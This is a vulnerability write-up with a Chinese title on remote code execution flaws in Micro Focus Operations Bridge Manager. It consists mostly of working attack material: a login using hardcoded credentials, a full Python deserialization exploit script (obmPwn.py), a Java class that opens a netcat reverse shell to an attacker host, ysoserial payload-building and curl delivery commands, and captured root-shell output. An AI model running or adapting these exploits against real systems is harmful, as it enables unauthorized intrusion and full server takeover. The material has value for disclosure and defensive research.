Micro Focus Operations Bridge Manager中的多个（RCE）漏洞

POST /ucmdb-ui/cms/loginRequest.do;?customerID=1&isEncoded=false&userName=diagnostics&password=YWRtaW4=&ldapServerName=UCMDB HTTP/1.1

HTTP/1.1 200 OKDate: Sun, 17 May 2020 21:13:21 GMTX-Frame-Options: SAMEORIGINContent-Security-Policy: frame-ancestors 'self'X-Content-Type-Options: nosniffX-Xss-Protection: 1; mode=blockStrict-Transport-Security: max-age=31536000Set-Cookie: LWSSO_COOKIE_KEY=WTQwNdgFlDSM1Il1XTlWJGErjHIGDg54mzv4Yu51_HMk3mrLF7ZMB6KeRecN30sWkdkEFJyLpqUGQ0hXQnPiapbw1891iuGEOW4Ewfk8XNUnIJsouObXN-GaZHLhkfHNlUKp73qEqqvY594n2P5O2sqsn9KYrK7PuGQ5FE0ddKkI2pIvn0rkbT2eRFVdSpHhk-6SadvfLm-CbzdrgLV2INWQgYlYtqMLevI5iv8byN4.; Path=/; HTTPOnly=; Secure=Expires: Thu, 01 Jan 1970 00:00:00 GMTAuthentication-Result-Key: AUTHENTICATED_SUCCESSFULLYLOCALE: enContent-Language: enContent-Type: text/html;charset=utf-8Content-Length: 26983
<... POST DATA ...>

/ucmdb/services/CmdbOperationExecuterService/ucmdb/services/CategoryFacadeForGui/ucmdb/services/CorrelationFacadeForGui/ucmdb/services/CorrelationRunnerFacade/ucmdb/services/PackageFacadeForGui/ucmdb/services/SchedulerFacadeForGui/ucmdb/services/FoldersFacade/ucmdb/services/BusinessModelFacadeForGui/ucmdb/services/WatchServerAPI/ucmdb/services/TopologyService/ucmdb/services/ReportService/ucmdb/services/CMSImagesService/ucmdb/services/PatternService/ucmdb/services/FolderService/ucmdb/services/RelatedCIsService/ucmdb/services/MailService/ucmdb/services/DiscoveryService/ucmdb/services/ServiceDiscoveryService/ucmdb/services/SoftwareLibraryService/ucmdb/services/DataAcquisitionService/ucmdb/services/CIService/ucmdb/services/HistoryService/ucmdb/services/BundleService/ucmdb/services/LocationService/ucmdb/services/SchedulerService/ucmdb/services/ImpactService/ucmdb/services/CommonService/ucmdb/services/PermissionsService/ucmdb/services/ClassModelService/ucmdb/services/SnapshotService/ucmdb/services/LDAPService/ucmdb/services/CITService/ucmdb/services/MultiTenancyService/ucmdb/services/SecurityService/ucmdb/services/ResourceManagementService/ucmdb/services/AutomationMappingService/ucmdb/services/LicensingService/ucmdb/services/GenericAdapterService

POST /ucmdb-ui/services/SecurityService HTTP/1.1Host: 10.10.10.99:8443User-Agent: python-requests/2.23.0Accept-Encoding: gzip, deflateAccept: */*Connection: closecontent-type: application/x-java-serialized-objectCookie: LWSSO_COOKIE_KEY=1fezNb7T1QRggkhFBrYhMCuiSchrqKdyAabSSOMrZMeP28-FiIyzLNlVV9KBagKsLjiUbGdJ0mWen7OvATgC3LiWmlGRQw5vnTzm9tV8f3tIfOqXvbZIWudk4vajf4Qqux-X2S1MJJB6b2ikNA9M921ilRDptEY0IqeiQ68mxIAFs5PxS9I22r5YszZMSMYme05GgtdbQQA-JqOvDrRNYOFca5IZgtbpGkHzCPUUyLk.Content-Length: 6855
<JAVA_SERIALIZED_OBJECT>

 public boolean isServerAdministrator() {    try {      UcmdbServiceInternal sdk = (UcmdbServiceInternal)ServerContext.get().executeInSessionlessContext(this.sessionContext.getSessionInfo().getCustomerContext(), new SessionlessContextExecutable<UcmdbServiceInternal>() {            public UcmdbServiceInternal run(SessionContext sessionContext) {              return sessionContext.getCmdbConnector().getSdk();            }          });      UserId userId = this.sessionContext.getSessionInfo().getLoggedInUserId();      return sdk.getAuthorizationModelServiceInternal().isServerAdministrator(userId);    } catch (CmdbException e) {      LOG.error("User could not be found in URM", (Throwable)e);      return false;    } catch (Exception e) {      LOG.error("Error to get ServerAdministrator from URM", e);      return false;    }   }

#!/usr/bin/python3### Exploit for Micro Focus Operations Bridge Manager 2020.05 UCMDB Services Insecure Java Deserialization (CVE-2020-11853)## By Pedro Ribeiro ([email protected] | @pedrib1337) from Agile Information Security#import sysimport osimport requests
def usage():    print("Usage: ./obmPwn.py <RHOST> <YSOSERIAL_JAR> <COMMAND>")    exit(1)
if len(sys.argv) < 4:    usage()
rhost = sys.argv[1]ysoserial = sys.argv[2]command = sys.argv[3]
if not os.path.exists(ysoserial):    usage()
requests.packages.urllib3.disable_warnings()
print("[*] Generating ysoserial payload with command %s" % (command))os.system("java -jar %s CommonsBeanutils1 '%s' > /tmp/payload.ser" % (ysoserial, command))
url_base = "https://%s:8443/ucmdb-ui" % (rhost)
url_login = url_base + "/cms/loginRequest.do;?customerID=1&isEncoded=false&userName=diagnostics&password=YWRtaW4=&ldapServerName=UCMDB"print("[*] Authenticating to %s" % (url_login))ses = requests.Session()res = ses.post(url_login, verify=False)
auth = Nonefor cookie in res.cookies.items():    if cookie[0] == "LWSSO_COOKIE_KEY":        auth = cookie
if auth == None:    print("[-] Failed to authenticate and obtain LWSSO_COOKIE_KEY")    exit(1)else:    print("[+] We are now authenticated and obtained our LWSSO_COOKIE_KEY!")
# SecurityService is used here, but any of the other 37 endpoints can be usedurl_pwn = url_base + "/services/SecurityService"print("[*] Sending ysoserial payload to %s" % (url_pwn))
headers = {'content-type': 'application/x-java-serialized-object'}with open('/tmp/payload.ser', 'rb') as payload:    res = ses.post(url_pwn, headers=headers, data=payload, verify=False)    if res.status_code == 500:        print("[+] Success, your command has been executed!")    else:        print("[-] Something went wrong, please try again...")

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());  HashMap<Object, Object> requestMap = null;  try {    requestMap = (HashMap<Object, Object>)ois.readObject();  } catch (ClassNotFoundException e) {    s_logger.error("Could not get object from request.");    response.sendError(400, "Could not get object from request.");    return;  }   if (requestMap == null) {    s_logger.error("Could not get sample_t from request.");    response.sendError(400, "Could not get sample_t from request.");    return;  }   String apiName = request.getParameter("apiName");  if (apiName == null || apiName.equals("")) {    s_logger.error("Could not get api_name from request.");    response.sendError(400, "Could not get api_name from request.");    return;  }   APIHandler h = APIHandlersDictionary.getHandler(apiName);  if (h == null) {    s_logger.error("doPost: dont have handler for api_name ='" + apiName + "'");    response.sendError(400, "doPost: dont have handler for supplied api_name");    return;  }   if (s_logger.isDebugEnabled())    s_logger.debug("doPost: Found handler for api " + apiName + ", invoking it...");   invokeHandler(h, requestMap, response);  }

diff --git a/pom.xml b/pom.xmlindex 73d39c4..9d27473 100644--- a/pom.xml+++ b/pom.xml@@ -239,7 +239,7 @@                <dependency>                        <groupId>com.mchange</groupId>                        <artifactId>c3p0</artifactId>-                       <version>0.9.5.2</version>+                       <version>0.9.1.2</version>                </dependency>                <dependency>                        <groupId>javax.servlet</groupId>

cat  << EOF > ExploitClass.javapublic class ExploitClass {  public ExploitClass() throws Exception {    Runtime rt = Runtime.getRuntime();    // for Linux    String[] commands = {"/bin/sh", "-c", "nc 10.10.10.1 8888 -e /bin/sh"};    // for Windows    //String[] commands = {"cmd", "/c", "mspaint.exe"};    Process pc = rt.exec(commands);    pc.waitFor();  }}EOF

/usr/lib/jvm/java-8-openjdk-amd64/bin/javac ExploitClass.java

python -m SimpleHTTPServer 4444 &nc -lvknp 8888

java -jar ysoserial-0.0.6-SNAPSHOT-all-c3p0-0.9.1.2.jar C3P0 "http://10.10.10.1:4444/:ExploitClass" > /tmp/payload.ser

COOKIE='Cookie: JSESSIONID=xQJJmHDwOQMlAL93PaLPE4PA; LWSSO_COOKIE_KEY=mqx8GAJdW7M8dh5bO99hiZjXAgOHmdteaLsy_c9N77F6n2fFB_XWpe0wDHnpG-x2RbOHNm3H7hjHsmYpRc4PPg2ohEFN7duztvJD0M_u3GUcg_YUJPy5c6ewbqi61FRllh0AoNwAb5K-1fN-uRVK0c8yEVVIkBbxn9vxsCEhofRbZNdtnDQMb3WUeb7yInwRAzfPICWMnE5iuJ_TTyTDlw..;'
curl -i -s -k -X $'POST'   -H $'Host: 10.10.10.99'   --data-binary @/tmp/payload.ser   -H $'Content-Type: application/octet-stream' -H 'Expect:' -H "$COOKIE"     $'https://10.10.10.99/legacy/topaz/sitescope/conf/registration'

10.10.10.99 - - [] "GET /ExploitClass.class HTTP/1.1" 200 -connect to [10.10.10.1] from (UNKNOWN) [10.10.10.99] 55340whoamirootiduid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0uname -aLinux centos7.nat 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linuxlshpbsmd.pidlibwrapper.sonannyWrapperRunner.shwrapperwrapper.jarpwd/opt/HP/BSM/supervisor/wrapper

 public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {  Map<Object, Object> requestMap;  ObjectInputStream ois = new ObjectInputStream((InputStream)request.getInputStream());  try {    requestMap = (Map<Object, Object>)ois.readObject();  } catch (ClassNotFoundException e) {    s_logger.error("Could not get object from request.");    response.sendError(400, "Could not get object from request.");    return;  }   if (requestMap == null) {    s_logger.error("Could not get requestMap from request.");    response.sendError(400, "Could not get requestMap from request.");    return;  }   if (!validateData(requestMap)) {    response.sendError(400, "Unable to validate properties from request.");    return;  }   String xmlValue = handleRequest(requestMap);  response.setContentType("text/xml; charset=UTF-8");  PrintWriter writer = response.getWriter();  writer.write(xmlValue);  }

protected final void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse)      throws ServletException, IOException {    InvocationInfo invocationInfo = null;    Method method = null;
    InvocationResult returnedresult;    try {      ObjectInputStream objectInputStream = new ObjectInputStream(httpServletRequest.getInputStream());      invocationInfo = (InvocationInfo) objectInputStream.readObject();      Object controller = this.getTargetObject(httpServletRequest, invocationInfo);      validateProxiedObjectState(controller, invocationInfo);      Object result;      synchronized (controller) {        if (controller instanceof RequestSupport) {          ((RequestSupport) controller).setRequest(httpServletRequest);        }
        method = controller.getClass().getMethod(invocationInfo.getMethodName(),            invocationInfo.getParameterTypes());        result = method.invoke(controller, invocationInfo.getArgs());      }
      if (ProxyUtils.isStatefulFactory(invocationInfo.getDeclaringClass())) {        String key = getUniqueSessionID(invocationInfo);        HttpSession session = httpServletRequest.getSession(true);        session.setAttribute(key, result);        result = "Stateful Proxy for " + method.getReturnType().getSimpleName()            + " was initiated succesfully using the following ProxyStatefulFactory class :"            + invocationInfo.getDeclaringClass().getSimpleName() + " JSESSIONID=" + session.getId();      }
      returnedresult = new InvocationResult(result, (Throwable) null);    } catch (Throwable var12) {      Throwable e1 = writeToServerLog(var12, method);      returnedresult = new InvocationResult((Object) null, e1);    }
    if (_log.isDebugEnabled()) {      postResponseWithDebug(httpServletResponse, returnedresult, invocationInfo,          httpServletRequest.getSession().getId());    } else {      postResponse(httpServletResponse, returnedresult);    }(...)

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://fakesitethatdoesntexist.com" > /tmp/payload.ser

curl -i -s -k -X $'POST'   -H $'Host: 10.10.10.99'   --data-binary @/tmp/payload.ser   -H $'Content-Type: application/octet-stream' -H 'Expect:'    $'https://10.10.10.99/topaz/kpiQueryServiceProxy'